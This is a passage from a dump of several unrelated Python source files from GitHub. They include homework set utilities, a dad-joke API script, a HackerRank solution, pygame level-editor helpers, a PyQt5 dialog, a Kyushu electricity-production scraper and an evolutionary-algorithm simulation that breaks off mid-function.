SetSuite:\r\n \r\n def __init__(self, list_of_lists):\r\n self._list = []\r\n for a_list in list_of_lists:\r\n self.add_set(a_list)\r\n\r\n # adds a new set to the internal list of sets\r\n def add_set(self, new_List):\r\n self._list.append(list(set(new_List)))\r\n\r\n # returns the internal list of sets\r\n def get_sets(self):\r\n return self._list\r\n\r\n # returns the union set of all sets\r\n def union_all(self):\r\n u_set = set()\r\n for a_set in self._list:\r\n u_set = u_set.union(set(a_set))\r\n return list(u_set)\r\n\r\n # returns the intersection set of all sets\r\n def intersection_all(self):\r\n if len(self._list) == 0:\r\n return list(set())\r\n\r\n i_set = set(self._list[0])\r\n for a_set in self._list[1:]:\r\n i_set = i_set.intersection(a_set)\r\n return list(i_set)\r\n\r\n\r\n\r\n\r\n# problem 6\r\ndef pascal(row):\r\n # pattern as below\r\n # 1\r\n # 1 1\r\n # 1 2 1\r\n # 1 3 3 1\r\n # every number is the sum of upper one and left upper number, no existence is 0\r\n tri = [[0 for i in range(row + 10)] for i in range(row + 10)]\r\n tri[0][0] = 1\r\n for i in range(1, row + 1):\r\n tri[i][0] = 1\r\n for j in range(1, row + 1):\r\n tri[i][j] = tri[i - 1][j - 1] + tri[i - 1][j]\r\n return tri[row][:row + 1]\r\n\r\n\r\n# problem 7\r\ndef perfect_power(num_1, num_2):\r\n power_num = num_1\r\n # corner case\r\n if num_1 == num_2:\r\n return True\r\n # keep multiple num_1 until they are equal\r\n while num_1 < num_2:\r\n num_1 *= power_num\r\n if num_1 == num_2:\r\n return True\r\n return False\r\n\r\n\r\n# extra credit\r\n\r\ndef change(num, l, r, base, cur):\r\n # left and right are the range of num, cur is some power of base\r\n if l > r:\r\n return 0\r\n # turn the last digit of num into integer\r\n e = int(num[r])\r\n # value of current position multiple cur, then add value from left to (right-1) of num\r\n return cur * e + change(num, l, r - 1, base, cur * base)\r\n\r\n\r\ndef convert_to_10(num, base):\r\n l = 0\r\n r = len(num) - 1\r\n for i in range(r + 1):\r\n if int(num[i]) >= base:\r\n return \"Invalid Number\"\r\n return change(num, l, r, base, 1)\r\n","repo_name":"qiyuanhuadelaide/Python_Code","sub_path":"hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70433215413","text":"from termcolor import colored\nfrom pyfiglet import figlet_format\nfrom random import choice\nimport requests\n\n\ndef print_ascii_message(msg):\n color = 'magenta'\n ascii_art = figlet_format(msg)\n colored_ascii = colored(ascii_art, color=color)\n print(colored_ascii)\n\n\ndef get_jokes(jokes):\n url = 'https://icanhazdadjoke.com/search'\n response = requests.get(url, headers={'Accept': 'application/json'},\n params={'term': jokes})\n data = response.json()\n return data['results']\n\n\ndef show_jokes(jokes, keyword):\n if len(jokes) > 1:\n print(f'I\\'ve got {len(jokes)} jokes about {keyword}. Here\\'s one: ')\n show = choice(jokes)\n print(show['joke'])\n elif kidding == 1:\n print(f'I\\'ve got 1 jokes about {keyword}. Here it is: ')\n print(jokes['joke'])\n else:\n print(f'Sorry, i don\\'t have any jokes about {keyword}')\n\n\nprint_ascii_message('Dad Joke 3000')\njokes = input('Let me tell you a joke! Give me a topic: ')\nkidding = get_jokes(jokes)\nshow_jokes(kidding, jokes)\n","repo_name":"yanoandri/python-scripts","sub_path":"scripts/dad_jokes/dad.py","file_name":"dad.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27603513403","text":"'''\nWrite a script that demonstrates a try/except/else.\n\n'''\n\nlist1 = [1,2,3,4,5,6,7,8,9]\nlist2 = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\", \"i\", \"j\"]\nlists = [list1, list2]\n\ndef trying_if_out(a_list):\n\n try:\n a = a_list[9]\n\n except IndexError:\n print(a_list[0])\n\n else:\n print(a)\n\n\n\nfor l in lists:\n trying_if_out(l)\n\n","repo_name":"LuckyLub/python-onsite","sub_path":"week_03/02_exception_handling/03_else.py","file_name":"03_else.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15176732914","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\"\"\"\nGiven a string, remove characters until the string is made up of any two alternating characters. \nWhen you choose a character to remove, all instances of that character must be removed. Determine \nthe longest string possible that contains just two alternating letters.\n\n\nFunction Description:\nComplete the alternate function below.\nalternate has the following parameters:\n\nINPUT:\n string s: a string\nOUTPUT:\n int: the length of the longest valid string, or if there are none\n \nLink to problem statement: \nhttps://www.hackerrank.com/challenges/two-characters/problem\n\"\"\"\n\n\n#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\nfrom collections import Counter\nfrom itertools import combinations\n\n\"\"\"\nComplete the 'alternate' function below.\nThe function is expected to return an INTEGER.\nThe function accepts STRING s as parameter.\n\nLink to problem statement:\nhttps://www.hackerrank.com/challenges/two-characters/problem\n\"\"\"\n\ndef alternate(s):\n \n # some edge cases\n if len(s)<2 or s[0]==s[1]:\n return 0\n elif len(s) == 2 and s[0]!=s[1]:\n return 2\n \n # create the combinations of letters to be removed from s\n letters = list(Counter(s).keys())\n letters_combinations_remove = combinations(letters,len(letters)-2)\n \n # resulting strings after removing the combination of letters from s\n two_characters_strings = []\n for combination in letters_combinations_remove:\n #print(combination)\n s_short = s\n for ch in combination:\n s_short = s_short.replace(ch,\"\")\n two_characters_strings.append(s_short)\n \n # create the list of strings with alternate characters only\n two_characters_strings_special = two_characters_strings.copy()\n for item in two_characters_strings: \n \n if item[0] == item[1]:\n two_characters_strings_special.remove(item)\n continue \n \n for index in range(len(item)-2):\n if item[index] != item[index+2]:\n two_characters_strings_special.remove(item)\n break\n if two_characters_strings_special:\n return len(max(two_characters_strings_special, key=len))\n else:\n return 0\n\n#if __name__ == '__main__':\n# fptr = open(os.environ['OUTPUT_PATH'], 'w')\n# l = int(input().strip())\n# s = input()\n# result = alternate(s)\n# fptr.write(str(result) + '\\n')\n# fptr.close()\n","repo_name":"akerimov/HACKER_RANK","sub_path":"TwoCharacters.py","file_name":"TwoCharacters.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23303704513","text":"import math\nimport os\nimport pickle\n\nimport pygame\n\nfrom data.scripts.level_generator.config import SMALL_SQUARE_SHAPE, VERTICAL_SHAPE, HORIZONTAL_SHAPE, BIG_SQUARE_SHAPE\nfrom level_creator.data.scripts.config import GRID_SIZE, NOTHING, BLOCK, NEXT_LINE, LEVEL_PATH, SMALL_LEFT_INDEX, \\\n SMALL_RIGHT_INDEX, SMALL_BOTTOM_INDEX, SMALL_TOP_INDEX, VERTICAL_TOP_INDEX, VERTICAL_BOTTOM_INDEX, \\\n VERTICAL_TOPLEFT_INDEX, VERTICAL_TOPRIGHT_INDEX, VERTICAL_BOTTOMRIGHT_INDEX, VERTICAL_BOTTOMLEFT_INDEX, \\\n HORIZONTAL_LEFT_INDEX, HORIZONTAL_RIGHT_INDEX, HORIZONTAL_TOPLEFT_INDEX, HORIZONTAL_TOPRIGHT_INDEX, \\\n HORIZONTAL_BOTTOMLEFT_INDEX, HORIZONTAL_BOTTOMRIGHT_INDEX, BIG_TOPLEFT_TOP_INDEX, BIG_TOPLEFT_LEFT_INDEX, \\\n BIG_TOPRIGHT_TOP_INDEX, BIG_TOPRIGHT_RIGHT_INDEX, BIG_BOTTOMLEFT_BOTTOM_INDEX, BIG_BOTTOMLEFT_LEFT_INDEX, \\\n BIG_BOTTOMRIGHT_BOTTOM_INDEX, BIG_BOTTOMRIGHT_RIGHT_INDEX\n\n\ndef read_f(path):\n f = open(path, 'r')\n dat = f.read()\n f.close()\n return dat\n\n\ndef write_f(path, dat):\n f = open(path, 'w')\n f.write(dat)\n f.close()\n\n\ndef load_image_dir(path, colorkey=(0, 0, 0)):\n images = {}\n for img_name in os.listdir(path):\n img = pygame.image.load(path + '/' + img_name).convert()\n img.set_colorkey(colorkey)\n images[img_name.split('.')[0]] = img.copy()\n return images\n\n\ndef warp_surf(surface, mask, loc, shift):\n offset = [mask.get_width() // 2, mask.get_height() // 2]\n loc = [loc[0] - offset[0], loc[1] - offset[1]]\n subsurf = clip(surface, loc[0], loc[1], mask.get_width(), mask.get_height())\n mask.set_colorkey((255, 255, 255))\n subsurf.blit(mask, (0, 0))\n subsurf.set_colorkey((0, 0, 0))\n surface.blit(subsurf, (loc[0] + shift[0], loc[1] + shift[1]))\n\n\ndef swap_color(img, old_c, new_c):\n global e_colorkey\n img.set_colorkey(old_c)\n surf = img.copy()\n surf.fill(new_c)\n surf.blit(img, (0, 0))\n return surf\n\n\ndef clip(surf, x, y, x_size, y_size):\n handle_surf = surf.copy()\n clipR = pygame.Rect(x, y, x_size, y_size)\n handle_surf.set_clip(clipR)\n image = surf.subsurface(handle_surf.get_clip())\n return image.copy()\n\n\ndef rect_corners(points):\n point_1 = points[0]\n point_2 = points[1]\n out_1 = [min(point_1[0], point_2[0]), min(point_1[1], point_2[1])]\n out_2 = [max(point_1[0], point_2[0]), max(point_1[1], point_2[1])]\n return [out_1, out_2]\n\n\ndef corner_rect(points):\n points = rect_corners(points)\n r = pygame.Rect(points[0][0], points[0][1], points[1][0] - points[0][0], points[1][1] - points[0][1])\n return r\n\n\ndef points_between_2d(points):\n points = rect_corners(points)\n width = points[1][0] - points[0][0] + 1\n height = points[1][1] - points[0][1] + 1\n point_list = []\n for y in range(height):\n for x in range(width):\n point_list.append([points[0][0] + x, points[0][1] + y])\n return point_list\n\n\ndef angle_to(points):\n return math.atan2(points[1][1] - points[0][1], points[1][0] - points[0][0])\n\n\ndef horizontal_crop(loc_x, width, img):\n loc_x = int(loc_x)\n loc_x = loc_x % img.get_width()\n if loc_x + width <= img.get_width():\n return img.copy()\n else:\n left_sec = img.get_width() - loc_x\n right_sec = width - left_sec\n output_surf = pygame.Surface((width, img.get_height()))\n output_surf.blit(clip(img, loc_x, 0, left_sec, img.get_height()), (0, 0))\n output_surf.blit(clip(img, 0, 0, right_sec, img.get_height()), (left_sec, 0))\n colorkey = img.get_colorkey()\n output_surf.set_colorkey(colorkey)\n return output_surf\n\n\ndef bordering_tile_x(x):\n base_x = int(x / GRID_SIZE)\n return [base_x - 1, base_x, base_x + 1]\n\n\ndef blit_center(surf, surf2, pos):\n x = int(surf2.get_width() / 2)\n y = int(surf2.get_height() / 2)\n surf.blit(surf2, (pos[0] - x, pos[1] - y))\n\n\ndef get_center_pos(surf):\n return [int(surf.get_width() / 2), int(surf.get_height() / 2)]\n\n\ndef normalize(num, amt):\n if num > amt:\n num -= amt\n elif num < -amt:\n num += amt\n else:\n num = 0\n return num\n\n\ndef mouse_over(rect):\n if type(rect) == pygame.Rect:\n return rect.collidepoint(pygame.mouse.get_pos())\n else:\n return rect.get_rect().collidepoint(pygame.mouse.get_pos())\n\n\ndef level_to_string(level):\n level_list = []\n for i in range(level.level_window[1] // GRID_SIZE):\n y = i * GRID_SIZE + 1\n for j in range(level.level_window[0] // GRID_SIZE):\n x = j * GRID_SIZE + 1\n collided = False\n for block in level.level_list:\n if block.get_rect().collidepoint((x, y)) and not collided:\n collided = True\n level_list.append(block.type['letter'])\n if not collided:\n level_list.append(NOTHING)\n level_list.append(NEXT_LINE)\n level_string = ''.join(level_list)\n return {'string': level_string, 'shape': level.shape}\n\n\ndef level_to_pickle(level, name):\n level['doors'] = get_doors(level)\n print(level['doors'])\n with open(LEVEL_PATH + name + '.pickle', 'wb') as file:\n pickle.dump(level, file)\n\n\ndef save_level(level, name):\n level_to_pickle(level_to_string(level), name)\n print(\"Level \" + name + \" saved.\\n\")\n\n\ndef get_doors(level):\n doors = {}\n if level['shape'] == SMALL_SQUARE_SHAPE:\n doors = {'top': False, 'bottom': False, 'left': False, 'right': False}\n if level['string'][SMALL_LEFT_INDEX] == NOTHING:\n doors['left'] = True\n if level['string'][SMALL_RIGHT_INDEX] == NOTHING:\n doors['right'] = True\n if level['string'][SMALL_BOTTOM_INDEX] == NOTHING:\n doors['bottom'] = True\n if level['string'][SMALL_TOP_INDEX] == NOTHING:\n doors['top'] = True\n elif level['shape'] == VERTICAL_SHAPE:\n doors = {'top': False, 'bottom': False, 'topleft': False, 'topright': False, 'bottomleft': False,\n 'bottomright': False}\n if level['string'][VERTICAL_TOP_INDEX] == NOTHING:\n doors['top'] = True\n if level['string'][VERTICAL_BOTTOM_INDEX] == NOTHING:\n doors['bottom'] = True\n if level['string'][VERTICAL_TOPLEFT_INDEX] == NOTHING:\n doors['topleft'] = True\n if level['string'][VERTICAL_TOPRIGHT_INDEX] == NOTHING:\n doors['topright'] = True\n if level['string'][VERTICAL_BOTTOMLEFT_INDEX] == NOTHING:\n doors['bottomleft'] = True\n if level['string'][VERTICAL_BOTTOMRIGHT_INDEX] == NOTHING:\n doors['bottomright'] = True\n elif level['shape'] == HORIZONTAL_SHAPE:\n doors = {'left': False, 'right': False, 'topleft': False, 'topright': False, 'bottomleft': False,\n 'bottomright': False}\n if level['string'][HORIZONTAL_LEFT_INDEX] == NOTHING:\n doors['left'] = True\n if level['string'][HORIZONTAL_RIGHT_INDEX] == NOTHING:\n doors['right'] = True\n if level['string'][HORIZONTAL_TOPLEFT_INDEX] == NOTHING:\n doors['topleft'] = True\n if level['string'][HORIZONTAL_TOPRIGHT_INDEX] == NOTHING:\n doors['topright'] = True\n if level['string'][HORIZONTAL_BOTTOMLEFT_INDEX] == NOTHING:\n doors['bottomleft'] = True\n if level['string'][HORIZONTAL_BOTTOMRIGHT_INDEX] == NOTHING:\n doors['bottomright'] = True\n elif level['shape'] == BIG_SQUARE_SHAPE:\n doors = {'topleft_top': False, 'topleft_left': False, 'bottomleft_bottom': False, 'bottomleft_left': False,\n 'topright_top': False,\n 'topright_right': False, 'bottomright_bottom': False, 'bottomright_right': False}\n if level['string'][BIG_TOPLEFT_TOP_INDEX] == NOTHING:\n doors['topleft_top'] = True\n if level['string'][BIG_TOPLEFT_LEFT_INDEX] == NOTHING:\n doors['topleft_left'] = True\n if level['string'][BIG_TOPRIGHT_TOP_INDEX] == NOTHING:\n doors['topright_top'] = True\n if level['string'][BIG_TOPRIGHT_RIGHT_INDEX] == NOTHING:\n doors['topright_right'] = True\n if level['string'][BIG_BOTTOMLEFT_BOTTOM_INDEX] == NOTHING:\n doors['bottomleft_bottom'] = True\n if level['string'][BIG_BOTTOMLEFT_LEFT_INDEX] == NOTHING:\n doors['bottomleft_left'] = True\n if level['string'][BIG_BOTTOMRIGHT_BOTTOM_INDEX] == NOTHING:\n doors['bottomright_bottom'] = True\n if level['string'][BIG_BOTTOMRIGHT_RIGHT_INDEX] == NOTHING:\n doors['bottomright_right'] = True\n return doors\n\n\ndef load_level(game):\n name = input(\"Input the level name :\\n\")\n try:\n with open(LEVEL_PATH + name + '.pickle', 'rb') as file:\n level = pickle.load(file)\n print(\"Loaded \" + name + \" level.\\n\")\n return game.active_scene.convert_to_level(level)\n except:\n print(\"No such file found.\\n\")\n","repo_name":"MonkeyWaffle0/theDescent","sub_path":"level_creator/data/scripts/core_funcs.py","file_name":"core_funcs.py","file_ext":"py","file_size_in_byte":8921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42121860268","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMessageBox\n\nclass Exp(QWidget):\n\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n self.setGeometry(300, 300, 300, 200)\n self.setWindowTitle('Quit')\n self.show()\n\n def closeEvent(self, event):\n \"\"\"重新定义closeEvent\"\"\"\n reply = QMessageBox.question(self, 'Message', 'You sure to quit?',\n QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n if reply == QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = Exp()\n sys.exit(app.exec_())\n\n","repo_name":"YuanXianguo/Python-Project-ITC","sub_path":"GUI学习/00PyQt5学习笔记/05弹出对话框请求确认.py","file_name":"05弹出对话框请求确认.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9870282897","text":"#!/usr/bin/env python3\nimport re\nfrom datetime import datetime\nfrom logging import Logger, getLogger\n\n# The arrow library is used to handle datetimes\nimport arrow\n\n# The request library is used to fetch content through HTTP\nfrom bs4 import BeautifulSoup\nfrom requests import Session, get\n\nfrom parsers import occtonet\n\n\ndef fetch_production(\n zone_key: str = \"JP-KY\",\n session: Session | None = None,\n target_datetime: datetime | None = None,\n logger: Logger = getLogger(__name__),\n) -> dict | list:\n \"\"\"Requests the last known production mix (in MW) of a given zone.\"\"\"\n if target_datetime:\n raise NotImplementedError(\"This parser is not yet able to parse past dates\")\n data = {\n \"zoneKey\": zone_key,\n \"datetime\": None,\n \"production\": {\n \"biomass\": 0,\n \"coal\": 0,\n \"gas\": 0,\n \"hydro\": None,\n \"nuclear\": None,\n \"oil\": 0,\n \"solar\": None,\n \"wind\": None,\n \"geothermal\": None,\n \"unknown\": 0,\n },\n \"storage\": {},\n \"source\": \"www.kyuden.co.jp\",\n }\n # url for consumption and solar\n url = \"https://www.kyuden.co.jp/td_power_usages/pc.html\"\n r = get(url)\n r.encoding = \"utf-8\"\n html = r.text\n soup = BeautifulSoup(html, \"lxml\")\n # get hours, minutes\n ts = soup.find(\"p\", class_=\"puProgressNow__time\").get_text()\n hours = int(re.findall(r\"[\\d]+(?=時)\", ts)[0])\n minutes = int(re.findall(r\"(?<=時)[\\d]+(?=分)\", ts)[0])\n # get date\n ds = soup.find(\"div\", class_=\"puChangeGraph\")\n date = re.findall(r\"(?<=chart/chart)[\\d]+(?=.gif)\", str(ds))[0]\n # parse datetime\n dt = f\"{date[:4]}-{date[4:6]}-{date[6:]} {hours:02d}:{minutes:02d}\"\n dt = arrow.get(dt).replace(tzinfo=\"Asia/Tokyo\").datetime\n data[\"datetime\"] = dt\n # consumption\n cons = soup.find(\"p\", class_=\"puProgressNow__useAmount\").get_text()\n cons = re.findall(\n r\"(?<=使用量\\xa0)[-+]?[.]?[\\d]+(?:,\\d\\d\\d)*[\\.]?\\d*(?:[eE][-+]?\\d+)?(?=万kW/)\",\n cons,\n )\n cons = cons[0].replace(\",\", \"\")\n # convert from 万kW to MW\n cons = float(cons) * 10\n # solar\n solar = soup.find(\"td\", class_=\"puProgressSun__num\").get_text()\n # convert from 万kW to MW\n solar = float(solar) * 10\n\n # add nuclear power plants\n # Sendai and Genkai\n url_s = \"\".join(\n [\n \"http://www.kyuden.co.jp/php/nuclear/sendai/rename.php?\",\n \"A=s_power.fdat&B=ncp_state.fdat&_=1520532401043\",\n ]\n )\n url_g = \"\".join(\n [\n \"http://www.kyuden.co.jp/php/nuclear/genkai/rename.php?\",\n \"A=g_power.fdat&B=ncp_state.fdat&_=1520532904073\",\n ]\n )\n sendai = get(url_s).text\n sendai = re.findall(\n r\"(?<=gouki=)[-+]?[.]?[\\d]+(?:,\\d\\d\\d)*[\\.]?\\d*\" + r\"(?:[eE][-+]?\\d+)?(?=&)\",\n sendai,\n )\n genkai = get(url_g).text\n genkai = re.findall(\n r\"(?<=gouki=)[-+]?[.]?[\\d]+(?:,\\d\\d\\d)*[\\.]?\\d*\" + r\"(?:[eE][-+]?\\d+)?(?=&)\",\n genkai,\n )\n nuclear = 0\n for sendai_i in sendai:\n nuclear += float(sendai_i)\n for genkai_i in genkai:\n nuclear += float(genkai_i)\n # convert from 万kW to MW\n nuclear = nuclear * 10\n\n # add the exchange JP-CG->JP-KY\n exch_list = occtonet.fetch_exchange(\"JP-KY\", \"JP-CG\")\n # find the nearest exchanges in time to consumption timestamp\n nearest_exchanges = sorted(exch_list, key=lambda exch: abs(exch[\"datetime\"] - dt))\n # take the nearest exchange\n exch = nearest_exchanges[0]\n # check that consumption and exchange timestamps are within a 15 minute window\n if abs(dt - exch[\"datetime\"]).seconds <= 900:\n generation = cons - exch[\"netFlow\"]\n data[\"production\"][\"solar\"] = solar\n data[\"production\"][\"nuclear\"] = nuclear\n data[\"production\"][\"unknown\"] = generation - nuclear - solar\n\n return data\n else:\n return []\n\n\nif __name__ == \"__main__\":\n \"\"\"Main method, never used by the Electricity Map backend, but handy for testing.\"\"\"\n\n print(\"fetch_production() ->\")\n print(fetch_production())\n","repo_name":"electricitymaps/electricitymaps-contrib","sub_path":"parsers/JP-KY.py","file_name":"JP-KY.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","stars":3126,"dataset":"github-code","pt":"21"} +{"seq_id":"28424816052","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Oct 28 19:30:05 2022\r\n\r\n@author: gabri\r\n\"\"\"\r\nfrom datetime import datetime\r\nimport pygame\r\nimport sys\r\nfrom pygame.locals import * #import all modules\r\nimport random\r\nimport math\r\nimport csv\r\nfrom matplotlib.animation import FuncAnimation\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\n#Settings\r\nclock = pygame.time.Clock()\r\npygame.init() #initiates pygame\r\npygame.display.set_caption(\"Evolutionärer Algorithmus V1\") #giving a name to the window\r\nlaenge = 1900\r\nbreite = 700\r\nWINDOW_SIZE = (laenge,breite) #create window\r\nscreen = pygame.display.set_mode(WINDOW_SIZE,0,32) #initiate the window\r\n\r\nzyklen = 2\r\npopulationsnum = 1\r\nfaltflaechen = 8\r\ngelenke = faltflaechen-1\r\ngelenke_hidden = faltflaechen+1\r\npopulation = []\r\npopulation2 = []\r\nstartpunkt = (500,300)\r\n\r\nobstacles = []\r\norigin = (0,0)\r\nrays = []\r\ncollision_nr = 0\r\n\r\ng = 9.81\r\nsp_list = []\r\nsp_point = (0,0)\r\ng_vectors = []\r\ny_offset = 0\r\ny_boden = 500\r\n\r\ndraw_points = []\r\nturning_angles = 0\r\n\r\nfriction_x = 0\r\nx_offset = 0 #wegen Reibung\r\nsum_laenge = 0\r\nhygroskopizität = []\r\n\r\nmutation_list = []\r\n\r\n\r\n#population nr\r\npop_nr = 0\r\npopulation_limit = 100 #Wie gross die Anfangspopulation?\r\nselection_ratio = 0.10 #Dezimal\r\n\r\n#Chart informations\r\nfps_=80\r\nplt.ion()\r\ndef plot_animation(status):\r\n try:\r\n df = pd.read_csv('Fitness.csv', index_col=0)\r\n y = df.index[1:len(df.index)]\r\n plt.plot(y,'.')\r\n plt.axis([0, len(df.index), -0.1, 3])\r\n plt.xlabel('Nr. Individuum')\r\n plt.ylabel('Relative Geschwindigkeit')\r\n plt.draw()\r\n if status == 1:\r\n print(\"saved\")\r\n plt.savefig('Fitness_Results.png')\r\n plt.pause(0.0001)\r\n # if i == len(df.index)-1:\r\n # print(\"saved\")\r\n # plt.savefig('foo.png')\r\n plt.clf()\r\n except:\r\n pass\r\n \r\n\r\n#Calculating number of generations\r\nanzahl = population_limit\r\ngenerations = 0\r\nwhile anzahl >= 1:\r\n generations += 1\r\n anzahl = round(anzahl*(selection_ratio)**generations)\r\n if anzahl/2 != round(anzahl/2):\r\n anzahl += 1\r\n \r\ngenerations = generations + 1 #Maximale Anzahl an Generationen bis das schnellste Objekt gefunden wurde\r\ngenerations = 60\r\nnr_in_generation = population_limit\r\n\r\n\r\n\r\n\r\ndef print_csv(list_population_nr, nummer):\r\n data = list_population_nr\r\n if nummer == 0:\r\n mode = 'a'\r\n if pop_nr == 0:\r\n mode = 'w'\r\n for i in range(len(data)):\r\n mode = 'a'\r\n if pop_nr == 0:\r\n if i == 0:\r\n mode = 'w'\r\n print(\"To csv\", data[i], mode)\r\n with open('RESULTS.csv', mode) as file:\r\n writer = csv.writer(file)\r\n writer.writerow(data[i])\r\n if i == 2:\r\n if data[i][0] >= 0:\r\n if data[i][0] < 3:\r\n with open('FITNESS.csv', mode) as file:\r\n writer = csv.writer(file)\r\n writer.writerow(data[i])\r\n else:\r\n for i in range(len(data)):\r\n for k in range(len(data[i])):\r\n if i == 0 and k == 0:\r\n mode = 'w'\r\n else:\r\n mode = 'a'\r\n with open('RESULTS.csv', mode) as file:\r\n print(data[i], mode)\r\n writer = csv.writer(file)\r\n writer.writerow(data[i][k])\r\n\r\ndef mutation_surface():\r\n random.seed(datetime.now())\r\n return(random.randint(-10,10))\r\ndef mutation_angle():\r\n random.seed(datetime.now())\r\n return(random.randint(-5,5))\r\n\r\n \r\n#########################################\r\ndef sel_reco_mut(): \r\n global population2, nr_in_generation, mutation_list\r\n in_file = open(\"RESULTS.csv\", \"r\")\r\n reader = csv.reader(in_file)\r\n mylist = list(reader)\r\n in_file.close()\r\n print(mylist)\r\n data_ex = []\r\n #print all data from csv as list\r\n for i in range(len(mylist)):\r\n if len(mylist[i]) == 0:\r\n pass\r\n elif mylist[i][0] == '':\r\n pass\r\n else:\r\n data_ex.append(mylist[i])\r\n \r\n \r\n \r\n #Selektion anhand von Fitness: beste 25% -> höher bis eine gerade Anzahl gefunden worden ist => Paarung\r\n population3 = []\r\n gene = 3\r\n for i in range(population_limit):\r\n population3.append(data_ex[i*gene:(i+1)*gene])\r\n \r\n for i in range(len(population3)):\r\n for j in range(len(population3[i])):\r\n for k in range(len(population3[i][j])):\r\n try:\r\n population3[i][j][k] = int(population3[i][j][k]) \r\n except:\r\n population3[i][j][k] = float(population3[i][j][k]) \r\n \r\n print(population3)\r\n population3 = sorted(population3, key=lambda tup: tup[2], reverse=True)\r\n \r\n print(\"sortiert: \", population3)\r\n #Achtung dass +1 weglassen\r\n \r\n selection_nr = int((len(population3))*selection_ratio)\r\n if selection_nr/2 != round(selection_nr/2):\r\n selection_nr += 1\r\n \r\n new_population = []\r\n #Algorithmus ist beendet\r\n if selection_nr == 1:\r\n print(\"finished\")\r\n plot_animation(1)\r\n pygame.quit()\r\n sys.exit()\r\n else:\r\n for i in range(selection_nr):\r\n new_population.append(population3[i])\r\n nr_in_generation = selection_nr\r\n print(\"\")\r\n print(\"Selection\", new_population)\r\n \r\n #new_population = random.sample(new_population, len(new_population)) #Liste beliebig mischen\r\n \r\n #Rekombination -> Hälfte der Genen werden ausgetauscht (für Fläche und Gelenke)\r\n nachwuchs = []\r\n \r\n # for i in range(int(len(new_population)/2)):\r\n # i_new = i*2 #für jedes 2er-Paar\r\n # #Gelenke\r\n # half1 = int(len(new_population[0][0])/2)\r\n # half2 = len(new_population[0][0])-int(len(new_population[0][0])/2)\r\n # # print(half1, half2)\r\n # part1 = new_population[i_new][0][0:half1]\r\n # part2 = new_population[i_new][0][half1:half1+half2]\r\n # part3 = new_population[i_new+1][0][0:half1]\r\n # part4 = new_population[i_new+1][0][half1:half1+half2]\r\n # # print(\"\")\r\n # # print(part1, part2, part3, part4)\r\n # new_population[i_new][0] = part1+part4\r\n # new_population[i_new+1][0] = part3+part2\r\n \r\n \r\n \r\n # #Flächen-Längen\r\n # half1 = int(len(new_population[0][1])/2)\r\n # half2 = len(new_population[0][1])-int(len(new_population[0][1])/2)\r\n # # print(\"Flächen:\",half1, half2)\r\n # part1 = new_population[i_new][1][0:half1]\r\n # part2 = new_population[i_new][1][half1:half1+half2]\r\n # part3 = new_population[i_new+1][1][0:half1]\r\n # part4 = new_population[i_new+1][1][half1:half1+half2]\r\n # # print(\"\")\r\n # # print(part1, part2, part3, part4)\r\n # new_population[i_new][1] = part1+part4\r\n # new_population[i_new+1][1] = part3+part2\r\n \r\n for u in range(len(new_population)): #Überbevölkerung + MUTATION\r\n kinder = 0\r\n if new_population[u][2][0] > 0.0:\r\n kinder = 1 #1 Eltern -> 1 Kinder\r\n if new_population[u][2][0] > 0.5:\r\n kinder = 8 #1 Eltern -> 1 Kinder \r\n if new_population[u][2][0] > 1.0:\r\n kinder = 10 #1 Eltern -> 2 Kinder\r\n if new_population[u][2][0] > 1.5:\r\n kinder = 12 #2 Eltern -> 5 Kinder\r\n if new_population[u][2][0] > 3:\r\n kinder = 0 #ERROR\r\n if new_population[u][2][0] <= 0.0:\r\n kinder = 0 #Rückwärts \r\n for n_kind in range(kinder): #2 Eltern werden zu 4 Kindern\r\n surfaces = []\r\n angles = []\r\n for k in range(len(new_population[u][0])):\r\n a = random.randint(-18,18)\r\n if new_population[u][0][k] + a <= 7:\r\n surfaces.append(new_population[u][0][k])\r\n else:\r\n surfaces.append(new_population[u][0][k] + a)\r\n for z in range(len(new_population[u][1])):\r\n a = random.randint(-10,10)\r\n if new_population[u][1][z] + a <= -90 or new_population[u][1][z] + a >= 90:\r\n angles.append(new_population[u][1][z])\r\n else:\r\n angles.append(new_population[u][1][z] + a)\r\n new_population[u] = [surfaces,angles,new_population[u][2]]\r\n nachwuchs.append(new_population[u])\r\n \r\n \r\n # print(\"\")\r\n # print(\"Recombination\",new_population)\r\n new_population = []\r\n new_population = nachwuchs #die Filialgeneration übernimmt, die Parentalgeneration stirbt\r\n new_population = random.sample(new_population, len(new_population)) #Liste beliebig mischen \r\n mutation_list = []\r\n print(\"#################\")\r\n print(new_population)\r\n print(\"\")\r\n # Mutation: Flächen: +/- 5 , Hygroskopizität: +/- 10\r\n \r\n new_2_population = []\r\n #Error bei Fitness-Berechnung?\r\n for i in range(len(new_population)):\r\n if new_population[i][2][0] > 3.0:\r\n \r\n pass\r\n elif new_population[i][2][0] < 0.0:\r\n \r\n pass\r\n else:\r\n new_2_population.append(new_population[i])\r\n nr_in_generation = len(new_2_population)\r\n #data = [[new_population[i][2][0]]]\r\n # with open('FITNESS.csv', 'a') as file:\r\n # writer = csv.writer(file)\r\n # 